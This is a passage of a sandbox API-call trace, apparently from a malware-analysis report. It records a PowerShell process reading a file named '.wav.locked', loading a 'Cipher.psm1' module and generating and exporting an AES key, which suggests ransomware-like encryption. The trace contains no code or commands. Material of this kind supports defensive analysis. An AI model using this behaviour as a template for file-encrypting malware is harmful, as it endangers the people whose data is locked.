(pv=0x8e56990) [0124.529] CoTaskMemAlloc (cb=0x20e) returned 0x8e55ec8 [0124.529] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x8e55ec8, nSize=0x105 | out: lpBuffer="") returned 0x0 [0124.529] CoTaskMemFree (pv=0x8e55ec8) [0124.529] CoTaskMemAlloc (cb=0x20e) returned 0x8e55850 [0124.529] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x8e55850, nSize=0x105 | out: lpBuffer="ѝ") returned 0x0 [0124.529] CoTaskMemFree (pv=0x8e55850) [0124.534] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0124.535] CoCreateGuid (in: pguid=0x99ae494 | out: pguid=0x99ae494*(Data1=0x3c51cda6, Data2=0xbc2f, Data3=0x4c38, Data4=([0]=0x82, [1]=0x13, [2]=0x59, [3]=0xb7, [4]=0x83, [5]=0x87, [6]=0x87, [7]=0x63))) returned 0x0 [0124.535] AmsiScanString () returned 0x80070015 [0124.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0124.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x6ada058 | out: lpFileInformation=0x6ada058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd03a025, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xd03a025, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xd33b7f1, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x3b44)) returned 1 [0124.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0124.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", lpFilePart=0x0) returned 0x54 [0124.597] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0124.598] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0124.598] CloseHandle (hObject=0x874) returned 1 [0124.598] CoCreateGuid (in: pguid=0x99ae590 | out: pguid=0x99ae590*(Data1=0xc0f91efc, Data2=0xb976, Data3=0x4fff, Data4=([0]=0x87, [1]=0xd2, [2]=0xc6, [3]=0xb2, [4]=0xbd, [5]=0xc4, [6]=0xce, [7]=0x7f))) returned 0x0 [0124.598] AmsiScanString () returned 0x80070015 [0124.618] CoCreateGuid (in: pguid=0x99adbf0 | out: pguid=0x99adbf0*(Data1=0x9aa60771, Data2=0x708b, Data3=0x4614, Data4=([0]=0x9b, [1]=0x6c, [2]=0x24, [3]=0x23, [4]=0x40, [5]=0x12, [6]=0xac, [7]=0x23))) returned 0x0 [0124.693] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x99ade80, nSize=0x80 | out: lpBuffer="存ࣅ") returned 0x0 [0124.730] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae718 | out: lpConsoleScreenBufferInfo=0x99ae718) returned 1 [0124.731] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae720 | out: lpMode=0x99ae720) returned 1 [0124.732] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae718, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae718*=0x2) returned 1 [0124.809] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae6b4 | out: lpConsoleScreenBufferInfo=0x99ae6b4) returned 1 [0124.810] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0124.810] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0124.811] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0124.812] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae718 | out: lpConsoleScreenBufferInfo=0x99ae718) returned 1 [0124.813] GetConsoleOutputCP () returned 0x1b5 [0124.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0124.814] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae568 | out: lpConsoleScreenBufferInfo=0x99ae568) returned 1 [0124.815] GetConsoleOutputCP () returned 0x1b5 [0124.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae504, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae504) returned 0 [0124.815] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0124.816] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c18174*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x6c18174*, lpNumberOfCharsWritten=0x99ae568*=0x4f) returned 1 [0124.817] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0124.818] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae568*=0x2) returned 1 [0124.818] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae670 | out: lpConsoleScreenBufferInfo=0x99ae670) returned 1 [0124.819] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae678 | out: lpMode=0x99ae678) returned 1 [0124.819] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae670, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae670*=0x2) returned 1 [0124.820] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0124.820] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0124.820] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0124.821] GetConsoleOutputCP () returned 0x1b5 [0124.822] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0124.822] GetConsoleOutputCP () returned 0x1b5 [0124.822] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0124.822] GetConsoleOutputCP () returned 0x1b5 [0124.823] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.823] GetConsoleOutputCP () returned 0x1b5 [0124.823] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.823] GetConsoleOutputCP () returned 0x1b5 [0124.824] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0124.824] GetConsoleOutputCP () returned 0x1b5 [0124.824] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0124.824] GetConsoleOutputCP () returned 0x1b5 [0124.824] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.824] GetConsoleOutputCP () returned 0x1b5 [0124.825] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.825] GetConsoleOutputCP () returned 0x1b5 [0124.825] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0124.825] GetConsoleOutputCP () returned 0x1b5 [0124.826] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0124.826] GetConsoleOutputCP () returned 0x1b5 [0124.826] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.826] GetConsoleOutputCP () returned 0x1b5 [0124.826] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.826] GetConsoleOutputCP () returned 0x1b5 [0124.827] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0124.827] GetConsoleOutputCP () returned 0x1b5 [0124.827] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0124.827] GetConsoleOutputCP () returned 0x1b5 [0124.827] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.827] GetConsoleOutputCP () returned 0x1b5 [0124.828] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0124.828] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0124.828] GetConsoleOutputCP () returned 0x1b5 [0124.828] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0124.829] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0124.829] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c19068*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6c19068*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0124.829] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0124.830] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0124.830] GetConsoleOutputCP () returned 0x1b5 [0124.830] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0124.830] GetConsoleOutputCP () returned 0x1b5 [0124.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0124.831] GetConsoleOutputCP () returned 0x1b5 [0124.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0124.831] GetConsoleOutputCP () returned 0x1b5 [0124.831] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0124.831] GetConsoleOutputCP () returned 0x1b5 [0124.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.832] GetConsoleOutputCP () returned 0x1b5 [0124.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.832] GetConsoleOutputCP () returned 0x1b5 [0124.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.833] GetConsoleOutputCP () returned 0x1b5 [0124.833] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.833] GetConsoleOutputCP () returned 0x1b5 [0124.833] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.833] GetConsoleOutputCP () returned 0x1b5 [0124.833] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.833] GetConsoleOutputCP () returned 0x1b5 [0124.834] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.834] GetConsoleOutputCP () returned 0x1b5 [0124.834] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0124.834] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0124.834] GetConsoleOutputCP () returned 0x1b5 [0124.835] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0124.835] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0124.835] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c19ac0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6c19ac0*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0124.835] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0124.836] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0124.876] GetConsoleOutputCP () returned 0x1b5 [0124.876] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0124.876] GetConsoleOutputCP () returned 0x1b5 [0124.877] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0124.877] GetConsoleOutputCP () returned 0x1b5 [0124.877] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.877] GetConsoleOutputCP () returned 0x1b5 [0124.877] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.877] GetConsoleOutputCP () returned 0x1b5 [0124.878] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0124.878] GetConsoleOutputCP () returned 0x1b5 [0124.878] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0124.878] GetConsoleOutputCP () returned 0x1b5 [0124.878] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.878] GetConsoleOutputCP () returned 0x1b5 [0124.879] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.879] GetConsoleOutputCP () returned 0x1b5 [0124.879] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0124.879] GetConsoleOutputCP () returned 0x1b5 [0124.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0124.880] GetConsoleOutputCP () returned 0x1b5 [0124.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.880] GetConsoleOutputCP () returned 0x1b5 [0124.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.880] GetConsoleOutputCP () returned 0x1b5 [0124.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0124.881] GetConsoleOutputCP () returned 0x1b5 [0124.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0124.881] GetConsoleOutputCP () returned 0x1b5 [0124.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.881] GetConsoleOutputCP () returned 0x1b5 [0124.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0124.881] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0124.882] GetConsoleOutputCP () returned 0x1b5 [0124.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0124.882] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0124.882] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c336dc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6c336dc*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0124.883] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0124.883] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bddbc8*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6bddbc8*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0124.899] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.899] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.899] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeadc, nSize=0xe4 | out: lpBuffer="\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0124.899] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0124.899] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.899] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.899] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.900] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae730, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0124.900] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0124.900] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.900] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.901] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.905] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x43969b0) returned 1 [0124.905] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e85238) returned 1 [0124.905] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0124.918] CryptExportKey (in: hKey=0x8e85238, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae70c | out: pbData=0x0*, pdwDataLen=0x99ae70c*=0x2c) returned 1 [0124.918] CryptExportKey (in: hKey=0x8e85238, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6c49dc0, pdwDataLen=0x99ae70c | out: pbData=0x6c49dc0*, pdwDataLen=0x99ae70c*=0x2c) returned 1 [0124.918] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae324, nSize=0xe4 | out: lpBuffer="\x19") returned 0x0 [0124.923] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x17, [2]=0x30, 